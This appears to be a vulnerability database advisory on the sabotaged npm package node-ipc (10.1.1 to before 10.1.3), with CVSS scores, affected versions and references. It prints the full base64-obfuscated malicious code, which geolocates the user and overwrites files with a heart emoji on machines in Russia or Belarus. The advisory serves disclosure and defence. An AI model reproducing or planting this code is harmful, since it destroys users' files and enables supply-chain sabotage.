10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
0.008 Low
EPSS
Percentile
81.1%
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. Note: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code:Note: Donβt run it! js import u from βpathβ; import a from βfsβ; import o from βhttpsβ; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(βaHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=β, βbase64β); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(βutf8β), function (t) { t.on(βdataβ, function (t) { const n = Buffer.from(βLi8=β, βbase64β); const o = Buffer.from(βLi4vβ, βbase64β); const r = Buffer.from(βLi4vLi4vβ, βbase64β); const f = Buffer.from(βLw==β, βbase64β); const c = Buffer.from(βY291bnRyeV9uYW1lβ, βbase64β); const e = Buffer.from(βcnVzc2lhβ, βbase64β); const i = Buffer.from(βYmVsYXJ1cw==β, βbase64β); try { const s = JSON.parse(t.toString(βutf8β)); const u = s[c.toString(βutf8β)].toLowerCase(); const a = u.includes(e.toString(βutf8β)) || u.includes(i.toString(βutf8β)); // checks if country is Russia or Belarus if (a) { h(n.toString(βutf8β)); h(o.toString(βutf8β)); h(r.toString(βutf8β)); h(f.toString(βutf8β)); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = ββ, o = ββ) { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(β4p2k77iPβ, βbase64β); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(β¦s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(βutf8β), function () {}); // overwrites file with β€οΈ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
[
{
"product": "node-ipc",
"vendor": "n/a",
"versions": [
{
"lessThan": "unspecified",
"status": "affected",
"version": "10.1.1",
"versionType": "custom"
},
{
"lessThan": "10.1.3",
"status": "affected",
"version": "unspecified",
"versionType": "custom"
}
]
}
]
github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580
github.com/RIAEvangelist/node-ipc/issues/233
github.com/RIAEvangelist/node-ipc/issues/236
security.netapp.com/advisory/ntap-20220407-0005/
snyk.io/vuln/SNYK-JS-NODEIPC-2426370
More
10 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 High
AI Score
Confidence
High
0.008 Low
EPSS
Percentile
81.1%